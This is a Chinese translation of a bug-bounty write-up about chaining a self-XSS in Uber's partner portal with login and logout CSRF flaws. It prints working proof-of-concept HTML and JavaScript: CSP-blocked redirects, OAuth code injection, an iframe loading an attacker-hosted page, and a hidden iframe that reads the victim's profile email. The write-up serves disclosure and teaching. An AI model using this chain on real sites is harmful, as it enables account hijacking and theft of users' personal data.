目前Uber Bug赏金计划已经向公众开放,现在我终于可以方便的向Uner提出我的建议了。
在Uber的合作伙伴页面,一个司机们用来登录以及更新个人资料的页面中我发现一个非常简单且十分经典的XSS:改变简介字段中的任意一个值为<script>alert(document.domain);</script>
,会引起代码执行并弹出一个警示窗口。
这是在完成注册后两分钟后发现的,接下来对于我们来说是有趣的!
能够在另一个站点执行额外,任意Javascript被称为跨站脚本攻击(绝大多数读者应该都知道)。通常情况下你会希望针对其他用户获取会话cookies,提交XHR请求等等。
如果你不能针对其他用户做这些操作——例如,该代码只能针对你自己的账户执行代码,这就是所谓的self-XSS。
在本案例中,我们发现的这个XSS似乎就是一枚self-XSS。你的简介地址部分只能向你自己展示(或许Uber会有一个内部工具会显示这个地址,但是这已经是两码事了),我们不能更新其他用户的地址,强制执行代码。
我一直在犹豫,到底要不要把这个潜在的Bug向官方进行报告?(毕竟如果Uber存在一个XSS的话是一件非常棒的事情)。让我们来试试能不能将这个自慰(自我安慰)的“Self”给去掉。
Uber使用的OAuth流程非常经典:
- 用户访问一个需要登录的Uber站点,e.g.
partners.uber.com
- 用户被重定向到授权服务器,
login.uber.com
- 用户键入登录凭证
- 用户带着一个代码被重定向回
partners.uber.com
, 该代码之后会用于交换访问token。
如果你还没有从上图中发现,OAuth的回调/oauth/callback?code=...
没有使用推荐的state
参数。这就在登录功能中引入了一个CSRF漏洞,这个问题可大可小。
此外,在注销功能中也存在一个CSRF漏洞,这真的不能考虑为一个问题。浏览到/logout
破坏用户的partner.uber.com
会话,并执行重定向到同样具有注销功能的login.uber.com
。
由于我们的payload只能在我们的账户才有效,我们想要用户登录到我们的账户,反过来再执行payload。然而让用户登录到我们的账户,会让这个Bug的价值大打折扣(它不再是能够在他们的账户下执行操作了),所以我们要紧紧联系这3个小问题((self-XSS以及两个CSRF’s)
更多有关OAuth安全的信息可以查看@homakov’s awesome guide.
在我们的计划中有三个部分:
- 首先记录用户的
partner.uber.com
会话,而不是他们的login.uber.com
会话。这能保证我们能够返回他们的账户- 其次用户登录到我们的账户,之后将执行我们的payload
- 最后登录回他们自己的账户,同时我们的代码仍然在运行,所以我们能够获取他们的个人信息。
首先我们向https://partners.uber.com/logout/
发送一个请求,这样就能登录到我们自己的账户。问题是发送这样的一个请求,会返回一个302重定向到 https://login.uber.com/logout/
,这就销毁了会话。因为浏览器默认执行跳转,我们不能拦截每一个重定向以及终止请求。
然而,我们可以使用内容安全策略这个小技巧来定义哪些源允许被加载(事实上,我很想推荐开发者去看看)
我们将设置策略为仅允许向partners.uber.com
发送请求,这就阻止了https://login.uber.com/logout/
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/">
下图显示了CSP策略的错误信息:
这一步相对简单,我们向https://partners.uber.com/login/
发出请求初始化登录(这是必要步骤,否则应用不接受回调),使用CSP小技巧,阻止流程完工。之后输入属于我们自己的代码(通过登录到自己的账户获得)
由于一个CSP触发了onerror
事件句柄,这将用于跳转到下一步:
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/" onerror="login();">
<script>
//Initiate login so that we can redirect them
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = 'https://partners.uber.com/login/';
loginImg.onerror = redir;
}
//Redirect them to login with our code
var redir = function() {
//Get the code from the URL to make it easy for testing
var code = window.location.hash.slice(1);
var loginImg2 = document.createElement('img');
loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
loginImg2.onerror = function() {
//Redirect to the profile page with the payload
window.location = 'https://partners.uber.com/profile/';
}
}
</script>
这部分代码将包含XSS payload,存储在我们的账户中。
一旦payload执行,我们就可以切换回他们的账户。这必须是在一个iframe中——我们需要代码能够继续运行
//Create the iframe to log the user out of our account and back into theirs
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);
iframe中内容同样使用了CSP小技巧:
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Log the user out of our partner account -->
<img src="https://partners.uber.com/logout/" onerror="redir();">
<script>
//Log them into partners via their session on login.uber.com
var redir = function() {
window.location = 'https://partners.uber.com/login/';
};
</script>
最后是创建另一个iframe,所以我们能够获取到他们的一些数据:
//Wait a few seconds, then load the profile page, which is now *their* profile
setTimeout(function() {
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
profileIframe.setAttribute('id', 'pi');
document.body.appendChild(profileIframe);
//Extract their email as PoC
profileIframe.onload = function() {
var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
var matches = /value="([^"]+)" name="email"/.exec(d);
alert(matches[1]);
}
}, 9000);
由于我们最后一个iframe是从作为同源的包含我们的JS代码的个人资料页加载,并且X-Frame-Options
设置为sameorigin
而非deny
,所以我们能够访问它里面的内容(使用contentWindow
)
结合所有的步骤,我们可以有以下攻击流程:
1,从步骤3向我们的个人简介加入payload,
2,登录到我们的账户,但取消回调并注意闲置的
code
参数,3,让用户访问我们在步骤2创建的文件 – 这类似于一个反射型XSS,
4,之后用户注销并登录到我们的账户,
5,将执行步骤3中的payload,
6,在一个隐藏iframe中,他们将退出我们的账户,
7,在另一个隐藏iframe中,他们将会登录到他们自己的账户,
8,在包含用户会话的同源中我们还有一个iframe
这是一个非常有趣的Bug,一个摆在面前十分鸡肋的漏洞,其影响或许比我们预期更高!
*原文链接:fin1te,鸢尾编译,来自FreeBuf黑客与极客(FreeBuf.COM)